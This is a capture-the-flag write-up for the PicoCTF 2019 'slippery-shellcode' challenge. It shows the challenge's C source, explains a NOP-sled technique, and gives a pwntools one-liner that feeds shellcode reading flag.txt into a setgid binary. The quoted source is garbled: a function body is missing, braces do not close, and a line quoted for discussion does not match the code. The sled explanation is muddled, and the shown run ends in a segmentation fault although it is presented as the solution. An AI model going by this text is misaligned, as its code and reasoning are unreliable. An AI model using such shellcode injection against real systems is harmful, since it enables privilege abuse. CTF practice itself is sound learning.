PicoCTF19 Slippery-Shellcode


This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode on the shell server. Source.




Let's print the directory

[email protected]:/problems/slippery-shellcode$ ls -al
total 732
drwxr-xr-x   2 root       root                   4096 Sep 28 21:52 .
drwxr-x--x 684 root       root                  69632 Oct 10 18:02 ..
-r--r-----   1 hacksports slippery-shellcode_5     36 Sep 28 21:52 flag.txt
-rwxr-sr-x   1 hacksports slippery-shellcode_5 662532 Sep 28 21:52 vuln
-rw-rw-r--   1 hacksports hacksports              692 Sep 28 21:52 vuln.c
[email protected]:/problems/slippery-shellcode$ cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 512
#define FLAGSIZE 128

void vuln(char *buf){

int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  char buf[BUFSIZE];
  puts("Enter your shellcode:");
  puts("Thanks! Executing from a random location now...");
  int offset = (rand() % 256) + 1;
  ((void (*)())(buf+offset))();
  puts("Finishing Executing Shellcode. Exiting now...");
  return 0;

Look at this line in particular

  ((void (*)())buf)();

This takes buf+offset, casts it to the void function pointer which returns nothing and then runs that function. So it'll execute whatever is at the address for buf.

So the solution for this is to create a NOP Sled to have no executable shellcode at any point in the space between 0 and 255 and execute anything afterwards. That handles the case where offset==255, then we can run our actual command which is printing the flag.

In a nutshell, we are inserting NOP operations until we can certain that our code will be run in full no matter what the random offset will be.

[email protected]:/problems/slippery-shellcode$ (python -c "import pwn; print(pwn.asm(pwn.shellcraft.nop()*256+pwn.shellcraft.cat('flag.txt',1)))"; cat) | ./vuln
Enter your shellcode:
... <redacted>
Thanks! Executing from a random location now...
Segmentation fault (core dumped)